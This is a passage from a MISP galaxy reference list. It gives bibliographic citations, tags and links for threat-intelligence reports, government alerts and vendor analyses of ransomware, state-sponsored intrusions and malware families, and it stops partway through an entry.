Akira Ransomware Analysis August 2023

SEQBOSS. (2023, August 10). AKIRA RANSOMWARE ANALYSIS. Retrieved April 3, 2024.

The tag is: *misp-galaxy:references="Akira Ransomware Analysis August 2023"*

Table 19209. Table References

Links
https://sequretek.com/akira-ransomware-analysis/

Cisco Akira Ransomware OCT 2024

Nutland, J. and Szeliga, M. (2024, October 21). Akira ransomware continues to evolve. Retrieved December 10, 2024.

The tag is: *misp-galaxy:references="Cisco Akira Ransomware OCT 2024"*

Table 19210. Table References

Links
https://blog.talosintelligence.com/akira-ransomware-continues-to-evolve/

Cyble September 21 2023

Cybleinc. (2023, September 21). Akira Ransomware Extends Reach To Linux Platform - Cyble. Retrieved December 9, 2024.

The tag is: *misp-galaxy:references="Cyble September 21 2023"*

Table 19211. Table References

Links
https://cyble.com/blog/akira-ransomware-extends-reach-to-linux-platform/

Sophos Akira May 9 2023

Paul Jaramillo. (2023, May 9). Akira Ransomware is “bringin’ 1988 back”. Retrieved February 27, 2024.

The tag is: *misp-galaxy:references="Sophos Akira May 9 2023"*

Table 19212. Table References

Links
https://news.sophos.com/en-us/2023/05/09/akira-ransomware-is-bringin-88-back/

BlackBerry Akira July 11 2024

BlackBerry Research and Intelligence Team. (2024, July 11). Akira Ransomware Targets the LATAM Airline Industry. Retrieved September 16, 2024.

The tag is: *misp-galaxy:references="BlackBerry Akira July 11 2024"*

Table 19213. Table References

Links
https://blogs.blackberry.com/en/2024/07/akira-ransomware-targets-the-latam-airline-industry

Microsoft AKS Azure AD 2023

Microsoft. (2023, February 27). AKS-managed Azure Active Directory integration. Retrieved March 8, 2023.

The tag is: *misp-galaxy:references="Microsoft AKS Azure AD 2023"*

Table 19214. Table References

Links
https://learn.microsoft.com/en-us/azure/aks/managed-aad

Okta DPoP 2023

Venkat Viswanathan. (2023, June 13). A leap forward in token security: Okta adds support for DPoP. Retrieved January 2, 2024.

The tag is: *misp-galaxy:references="Okta DPoP 2023"*

Table 19215. Table References

Links
https://www.okta.com/blog/2023/06/a-leap-forward-in-token-security-okta-adds-support-for-dpop/

US-CERT SamSam 2018

US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.

The tag is: *misp-galaxy:references="US-CERT SamSam 2018"*

Table 19216. Table References

Links
https://www.us-cert.gov/ncas/alerts/AA18-337A

CISA MSS Sep 2020

CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.

The tag is: *misp-galaxy:references="CISA MSS Sep 2020"*

Table 19217. Table References

Links
https://us-cert.cisa.gov/ncas/alerts/aa20-258a

CISA Lokibot September 2020

DHS/CISA. (2020, September 22). Alert (AA20-266A) LokiBot Malware . Retrieved September 15, 2021.

The tag is: *misp-galaxy:references="CISA Lokibot September 2020"*

Table 19218. Table References

Links
https://us-cert.cisa.gov/ncas/alerts/aa20-266a

CISA_AA21_200B

CISA. (2021, August 20). Alert (AA21-200B) Chinese State-Sponsored Cyber Operations: Observed TTPs. Retrieved June 21, 2022.

The tag is: *misp-galaxy:references="CISA_AA21_200B"*

Table 19219. Table References

Links
https://www.cisa.gov/uscert/ncas/alerts/aa21-200b

cisa_malware_orgs_ukraine

CISA. (2022, April 28). Alert (AA22-057A) Update: Destructive Malware Targeting Organizations in Ukraine. Retrieved July 29, 2022.

The tag is: *misp-galaxy:references="cisa_malware_orgs_ukraine"*

Table 19220. Table References

Links
https://www.cisa.gov/uscert/ncas/alerts/aa22-057a

US-CERT Ransomware 2016

US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.

The tag is: *misp-galaxy:references="US-CERT Ransomware 2016"*

Table 19221. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA16-091A

US-CERT WannaCry 2017

US-CERT. (2017, May 12). Alert (TA17-132A): Indicators Associated With WannaCry Ransomware. Retrieved March 25, 2019.

The tag is: *misp-galaxy:references="US-CERT WannaCry 2017"*

Table 19222. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-132A

US-CERT HIDDEN COBRA June 2017

US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea's DDoS Botnet Infrastructure. Retrieved July 13, 2017.

The tag is: *misp-galaxy:references="US-CERT HIDDEN COBRA June 2017"*

Table 19223. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-164A

US-CERT NotPetya 2017

US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.

The tag is: *misp-galaxy:references="US-CERT NotPetya 2017"*

Table 19224. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-181A

US-CERT APT Energy Oct 2017

US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.

The tag is: *misp-galaxy:references="US-CERT APT Energy Oct 2017"*

Table 19225. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-293A

US-CERT FALLCHILL Nov 2017

US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA – North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.

The tag is: *misp-galaxy:references="US-CERT FALLCHILL Nov 2017"*

Table 19226. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-318A

US-CERT Volgmer Nov 2017

US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA – North Korean Trojan: Volgmer. Retrieved December 7, 2017.

The tag is: *misp-galaxy:references="US-CERT Volgmer Nov 2017"*

Table 19227. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-318B

US-CERT TA18-074A

US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.

The tag is: *misp-galaxy:references="US-CERT TA18-074A"*

Table 19228. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA18-074A

US-CERT-TA18-106A

US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="US-CERT-TA18-106A"*

Table 19229. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA18-106A

US-CERT Emotet Jul 2018

US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.

The tag is: *misp-galaxy:references="US-CERT Emotet Jul 2018"*

Table 19230. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA18-201A

Sysdig LLMJacking 2024

LLMjacking: Stolen Cloud Credentials Used in New AI Attack. (2024, May 6). Alessandro Brucato. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Sysdig LLMJacking 2024"*

Table 19231. Table References

Links
https://sysdig.com/blog/llmjacking-stolen-cloud-credentials-used-in-new-ai-attack/

Alexa-dns

Scanning Alexa's Top 1M for AXFR. (2015, March 29). Retrieved June 5, 2024.

The tag is: *misp-galaxy:references="Alexa-dns"*

Table 19232. Table References

Links
https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/

AlKhaser Debug

Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="AlKhaser Debug"*

Table 19233. Table References

Links
https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug

Broadcom ESXi SSH

Broadcom. (2024, December 12). Allowing SSH access to VMware vSphere ESXi/ESX hosts with

public/private key authentication. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Broadcom ESXi SSH"*

Table 19234. Table References

Links
https://knowledge.broadcom.com/external/article/313767/allowing-ssh-access-to-vmware-vsphere-es.html

Microsoft RDP Logons

Microsoft. (2017, April 9). Allow log on through Remote Desktop Services. Retrieved August 5, 2024.

The tag is: *misp-galaxy:references="Microsoft RDP Logons"*

Table 19235. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/allow-log-on-through-remote-desktop-services

NetSPI ClickOnce

Ryan Gandrud. (2015, March 23). All You Need Is One – A ClickOnce Love Story. Retrieved September 9, 2024.

The tag is: *misp-galaxy:references="NetSPI ClickOnce"*

Table 19236. Table References

Links
https://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/

Fysbis Palo Alto Analysis

Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy's Linux Backdoor. Retrieved September 10, 2017.

The tag is: *misp-galaxy:references="Fysbis Palo Alto Analysis"*

Table 19237. Table References

Links
https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/

Medium KONNI Jan 2020

Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020.

The tag is: *misp-galaxy:references="Medium KONNI Jan 2020"*

Table 19238. Table References

Links
https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b

Unit 42 Palo Alto Ransomware in Public Clouds 2022

Jay Chen. (2022, May 16). A Look Into Public Clouds From the Ransomware Actor's Perspective. Retrieved March 21, 2023.

The tag is: *misp-galaxy:references="Unit 42 Palo Alto Ransomware in Public Clouds 2022"*

Table 19239. Table References

Links
https://unit42.paloaltonetworks.com/ransomware-in-public-clouds/

Cyber Centre ALPHV/BlackCat July 25 2023

Canadian Centre for Cyber Security. (2023, July 25). ALPHV/BlackCat Ransomware Targeting of Canadian Industries. Retrieved September 13, 2023.

The tag is: *misp-galaxy:references="Cyber Centre ALPHV/BlackCat July 25 2023"*

Table 19240. Table References

Links
https://www.cyber.gc.ca/en/alerts-advisories/alphvblackcat-ransomware-targeting-canadian-industries

Mandiant ALPHV Affiliate April 3 2023

Jason Deyalsingh, Nick Smith, Eduardo Mattos, Tyler Mclellan. (2023, April 3). ALPHV Ransomware Affiliate Targets Vulnerable Backup Installations to Gain Initial Access. Retrieved March 5, 2024.

The tag is: *misp-galaxy:references="Mandiant ALPHV Affiliate April 3 2023"*

Table 19241. Table References

Links
https://www.mandiant.com/resources/blog/alphv-ransomware-backup

Microsoft ADS Mar 2014

Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.

The tag is: *misp-galaxy:references="Microsoft ADS Mar 2014"*

Table 19242. Table References

Links
https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/

XPNSec PPID Nov 2017

Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.

The tag is: *misp-galaxy:references="XPNSec PPID Nov 2017"*

Table 19243. Table References

Links
https://blog.xpnsec.com/becoming-system/

Microsoft AlwaysInstallElevated 2018

Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.

The tag is: *misp-galaxy:references="Microsoft AlwaysInstallElevated 2018"*

Table 19244. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated

ASEC BLOG July 21 2022

Sanseo. (2022, July 21). Amadey Bot Being Distributed Through SmokeLoader - ASEC BLOG. Retrieved May 15, 2023.

The tag is: *misp-galaxy:references="ASEC BLOG July 21 2022"*

Table 19245. Table References

Links
https://asec.ahnlab.com/en/36634/

Amazon Snapshots

Amazon. (n.d.). Amazon EBS snapshots. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Amazon Snapshots"*

Table 19246. Table References

Links
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html

Amazon AMI

Amazon. (n.d.). Amazon Machine Images (AMI). Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Amazon AMI"*

Table 19247. Table References

Links
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html

Amazon S3

Amazon. (n.d.). Amazon S3. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Amazon S3"*

Table 19248. Table References

Links
https://aws.amazon.com/s3/

Trend Micro S3 Exposed PII, 2017

Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.

The tag is: *misp-galaxy:references="Trend Micro S3 Exposed PII, 2017"*

Table 19249. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia

Recorded Future Beacon Certificates

Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.

The tag is: *misp-galaxy:references="Recorded Future Beacon Certificates"*

Table 19250. Table References

Links
https://www.recordedfuture.com/research/cobalt-strike-servers

TrendMicro ESXI Ransomware

Junestherry Dela Cruz. (2022, January 24). Analysis and Impact of LockBit Ransomware's First Linux and VMware ESXi Variant. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="TrendMicro ESXI Ransomware"*

Table 19251. Table References

Links
https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html

Botnet Scan

Dainotti, A. et al. (2012). Analysis of a "/0" Stealth Scan from a Botnet. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="Botnet Scan"*

Table 19252. Table References

Links
https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf

Trend Micro Ngrok September 2020

Borja, A. Camba, A. et al (2020, September 14). Analysis of a Convoluted Attack Chain Involving Ngrok. Retrieved September 15, 2020.

The tag is: *misp-galaxy:references="Trend Micro Ngrok September 2020"*

Table 19253. Table References

Links
https://www.trendmicro.com/en_us/research/20/i/analysis-of-a-convoluted-attack-chain-involving-ngrok.html

CIRCL PlugX March 2013

Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.

The tag is: *misp-galaxy:references="CIRCL PlugX March 2013"*

Table 19254. Table References

Links
http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf

Apple Unified Log Analysis Remote Login and Screen Sharing

Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.

The tag is: *misp-galaxy:references="Apple Unified Log Analysis Remote Login and Screen Sharing"*

Table 19255. Table References

Links
https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins

Medium S2W WhisperGate January 2022

S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.

The tag is: *misp-galaxy:references="Medium S2W WhisperGate January 2022"*

Table 19256. Table References

Links
https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3

Analysis of FG-IR-22-369

Guillaume Lovet and Alex Kong. (2023, March 9). Analysis of FG-IR-22-369. Retrieved May 15, 2023.

The tag is: *misp-galaxy:references="Analysis of FG-IR-22-369"*

Table 19257. Table References

Links
https://www.fortinet.com/blog/psirt-blogs/fg-ir-22-369-psirt-analysis

CloudSEK ESXiArgs 2023

Mehardeep Singh Sawhney. (2023, February 9). Analysis of Files Used in ESXiArgs Ransomware Attack Against VMware ESXi Servers. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="CloudSEK ESXiArgs 2023"*

Table 19258. Table References

Links
https://www.cloudsek.com/blog/analysis-of-files-used-in-esxiargs-ransomware-attack-against-vmware-esxi-servers

Graeber 2014

Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.

The tag is: *misp-galaxy:references="Graeber 2014"*

Table 19259. Table References

Links
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html

Fortinet Agent Tesla April 2018

Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.

The tag is: *misp-galaxy:references="Fortinet Agent Tesla April 2018"*

Table 19260. Table References

Links
https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html

Antiy CERT Ramsay April 2020

Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021.

The tag is: *misp-galaxy:references="Antiy CERT Ramsay April 2020"*

Table 19261. Table References

Links
https://www.programmersought.com/article/62493896999/

Storm-0558 techniques for unauthorized email access

Microsoft Threat Intelligence. (2023, July 14). Analysis of Storm-0558 techniques for unauthorized email access. Retrieved September 18, 2023.

The tag is: *misp-galaxy:references="Storm-0558 techniques for unauthorized email access"*

Table 19262. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/

Microsoft Security Blog July 14 2023

Microsoft Threat Intelligence. (2023, July 14). Analysis of Storm-0558 techniques for unauthorized email access . Retrieved February 25, 2024.

The tag is: *misp-galaxy:references="Microsoft Security Blog July 14 2023"*

Table 19263. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/

ESET Telebots July 2017

Cherepanov, A.. (2017, July 4). Analysis of TeleBots' cunning backdoor . Retrieved June 11, 2020.

The tag is: *misp-galaxy:references="ESET Telebots July 2017"*

Table 19264. Table References

Links
https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/

EST Kimsuky SmokeScreen April 2019

ESTSecurity. (2019, April 17). Analysis of the APT Campaign 'Smoke Screen' targeting to Korea and US □□: https://blog.alyac.co.kr/2243 [□□□□□□□□ □□ □□□]. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="EST Kimsuky SmokeScreen April 2019"*

Table 19265. Table References

Links
https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf

Ukraine15 - EISAC - 201603

Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March

27, 2018.

The tag is: *misp-galaxy:references="Ukraine15 - EISAC - 201603"*

Table 19266. Table References

Links
https://nsarchive.gwu.edu/sites/default/files/documents/3891751/SANS-and-Electricity-Information-Sharing-and.pdf

CSIRT MON January 22 2022

CSIRT MON. (2022, January 22). ANALYSIS OF THE CYBERATTACK ON UKRAINIAN GOVERNMENT RESOURCES. Retrieved February 12, 2025.

The tag is: *misp-galaxy:references="CSIRT MON January 22 2022"*

Table 19267. Table References

Links
https://csirt-mon.wp.mil.pl/aktualnosci/analysis-of-the-cyberattack-on-ukrainian-government-resources/

Check Point Havij Analysis

Ganani, M. (2015, May 14). Analysis of the Havij SQL Injection tool. Retrieved March 19, 2018.

The tag is: *misp-galaxy:references="Check Point Havij Analysis"*

Table 19268. Table References

Links
https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/

ESET Emotet Dec 2018

Perez, D.. (2018, December 28). Analysis of the latest Emotet propagation campaign. Retrieved April 16, 2019.

The tag is: *misp-galaxy:references="ESET Emotet Dec 2018"*

Table 19269. Table References

Links
https://www.welivesecurity.com/2018/12/28/analysis-latest-emotet-propagation-campaign/

Rewterz Sidewinder COVID-19 June 2020

Rewterz. (2020, June 22). Analysis on Sidewinder APT Group – COVID-19. Retrieved January 29, 2021.

The tag is: *misp-galaxy:references="Rewterz Sidewinder COVID-19 June 2020"*

Table 19270. Table References

Links
https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19

CISA AR18-352A Quasar RAT December 2018

CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022.

The tag is: *misp-galaxy:references="CISA AR18-352A Quasar RAT December 2018"*

Table 19271. Table References

Links
https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A

CISA AR21-126A FIVEHANDS May 2021

CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.

The tag is: *misp-galaxy:references="CISA AR21-126A FIVEHANDS May 2021"*

Table 19272. Table References

Links
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a

JoeSecurity Egregor 2020

Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="JoeSecurity Egregor 2020"*

Table 19273. Table References

Links
https://www.joesandbox.com/analysis/326673/0/pdf

GDATA Zeus Panda June 2017

Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.

The tag is: *misp-galaxy:references="GDATA Zeus Panda June 2017"*

Table 19274. Table References

Links
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf

jstnk9.github.io June 01 2022

jstnk9.github.io. (2022, June 1). Analyzing AsyncRAT distributed in Colombia | Welcome to Jstnk webpage. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="jstnk9.github.io June 01 2022"*

Table 19275. Table References

Links
https://jstnk9.github.io/jstnk9/research/AsyncRAT-Analysis/

Analyzing CS Dec 2020

Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.

The tag is: *misp-galaxy:references="Analyzing CS Dec 2020"*

Table 19276. Table References

Links
https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/

Objective_See 1 4 2024

Objective_See. (2024, January 4). Analyzing DPRK's SpectralBlur. Retrieved March 8, 2024.

The tag is: *misp-galaxy:references="Objective_See 1 4 2024"*

Table 19277. Table References

Links
https://objective-see.org/blog/blog_0x78.html

Fortinet Blog February 4 2025

Axelle Apvrille. (2025, February 4). Analyzing ELFSshdinjector.A!tr with a Human and Artificial Analyst . Retrieved February 10, 2025.

The tag is: *misp-galaxy:references="Fortinet Blog February 4 2025"*

Table 19278. Table References

Links
https://www.fortinet.com/blog/threat-research/analyzing-elf-sshdinjector-with-a-human-and-artificial-analyst

Microsoft Security Blog 4 22 2024

Microsoft Threat Intelligence. (2024, April 22). Analyzing Forest Blizzard's custom post-compromise tool for exploiting CVE-2022-38028 to obtain credentials . Retrieved April 22, 2024.

The tag is: *misp-galaxy:references="Microsoft Security Blog 4 22 2024"*

Table 19279. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/04/22/analyzing-forest-blizzards-custom-post-compromise-tool-for-exploiting-cve-2022-38028-to-obtain-credentials/

Uperesia Malicious Office Documents

Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="Uperesia Malicious Office Documents"*

Table 19280. Table References

Links
https://www.uperesia.com/analyzing-malicious-office-documents

Unit42 OilRig Nov 2018

Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig's Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="Unit42 OilRig Nov 2018"*

Table 19281. Table References

Links

https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/

McAfee GhostSecret

Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.

The tag is: *misp-galaxy:references="McAfee GhostSecret"*

Table 19282. Table References

Links
https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/

McAfee-GhostSecret-fixurl

Ryan Sherstobitoff. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved August 15, 2024.

The tag is: *misp-galaxy:references="McAfee-GhostSecret-fixurl"*

Table 19283. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/

Microsoft Analyzing Solorigate Dec 2020

MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.

The tag is: *misp-galaxy:references="Microsoft Analyzing Solorigate Dec 2020"*

Table 19284. Table References

Links
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/

Pincus Emotet 2020

Süleyman Özarslan, PhD; Pincus Security Inc.. (2020, July 14). An Analysis of Emotet Malware: PowerShell Unobfuscation. Retrieved November 25, 2024.

The tag is: *misp-galaxy:references="Pincus Emotet 2020"*

Table 19285. Table References

Links
https://medium.com/picus-security/an-analysis-of-emotet-malware-powershell-unobfuscation-4f46b50dcf2b

Lastline PlugX Analysis

Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.

The tag is: *misp-galaxy:references="Lastline PlugX Analysis"*

Table 19286. Table References

Links
https://lastline3.rssing.com/chan-29044929/all_p1.html#c29044929a2

TrendMicro Sandworm October 2014

Wu, W. (2014, October 14). An Analysis of Windows Zero-day Vulnerability ‘CVE-2014-4114’ aka “Sandworm”. Retrieved June 18, 2020.

The tag is: *misp-galaxy:references="TrendMicro Sandworm October 2014"*

Table 19287. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/

Dragos Crashoverride 2018

Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.

The tag is: *misp-galaxy:references="Dragos Crashoverride 2018"*

Table 19288. Table References

Links
https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf

Anatomy of an hVNC Attack

Keshet, Lior. Kessem, Limor. (2017, January 25). Anatomy of an hVNC Attack. Retrieved November 28, 2023.

The tag is: *misp-galaxy:references="Anatomy of an hVNC Attack"*

Table 19289. Table References

Links
https://securityintelligence.com/anatomy-of-an-hvnc-attack/

Syscall 2014

Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020.

The tag is: *misp-galaxy:references="Syscall 2014"*

Table 19290. Table References

Links
https://lwn.net/Articles/604515/

SCADAfence_ransomware

Shaked, O. (2020, January 20). Anatomy of a Targeted Ransomware Attack. Retrieved June 18, 2022.

The tag is: *misp-galaxy:references="SCADAfence_ransomware"*

Table 19291. Table References

Links
https://cdn.logic-control.com/docs/scadafence/Anatomy-Of-A-Targeted-Ransomware-Attack-WP.pdf

ESET IIS Malware 2021

Hromcová, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021.

The tag is: *misp-galaxy:references="ESET IIS Malware 2021"*

Table 19292. Table References

Links
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf

Medium Anchor DNS July 2020

Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020.

The tag is: *misp-galaxy:references="Medium Anchor DNS July 2020"*

Table 19293. Table References

Links

https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30

NSA Joint Advisory SVR SolarWinds April 2021

NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.

The tag is: *misp-galaxy:references="NSA Joint Advisory SVR SolarWinds April 2021"*

Table 19294. Table References

Links
https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF

Kaspersky Andariel Ransomware June 2021

Park, S. (2021, June 15). Andariel evolves to target South Korea with ransomware. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="Kaspersky Andariel Ransomware June 2021"*

Table 19295. Table References

Links
https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/

CISA GRU29155 2024

US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.

The tag is: *misp-galaxy:references="CISA GRU29155 2024"*

Table 19296. Table References

Links
https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf

Sophos X-Ops C-23

Pankaj Kohli. (2021, November 23). Android APT spyware, targeting Middle East victims, enhances evasiveness. Retrieved October 30, 2023.

The tag is: *misp-galaxy:references="Sophos X-Ops C-23"*

Table 19297. Table References

Links
https://news.sophos.com/en-us/2021/11/23/android-apt-spyware-targeting-middle-east-victims-improves-its-capabilities/

Google XLoader 2017

Nart Villeneuve, Randi Eitzman, Sandor Nemes & Tyler Dean, Google Cloud. (2017, October 5). Significant FormBook Distribution Campaigns Impacting the U.S. and South Korea. Retrieved March 11, 2025.

The tag is: *misp-galaxy:references="Google XLoader 2017"*

Table 19298. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/formbook-malware-distribution-campaigns/

RFC826 ARP

Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020.

The tag is: *misp-galaxy:references="RFC826 ARP"*

Table 19299. Table References

Links
https://tools.ietf.org/html/rfc826

HP SVCReady Jun 2022

Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.

The tag is: *misp-galaxy:references="HP SVCReady Jun 2022"*

Table 19300. Table References

Links
https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/

SecureList Fileless

Legezo, D. (2022, May 4). A new secret stash for “fileless” malware. Retrieved March 23, 2023.

The tag is: *misp-galaxy:references="SecureList Fileless"*

Table 19301. Table References

Links
https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/

ESET Ebury Feb 2014

M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.

The tag is: *misp-galaxy:references="ESET Ebury Feb 2014"*

Table 19302. Table References

Links
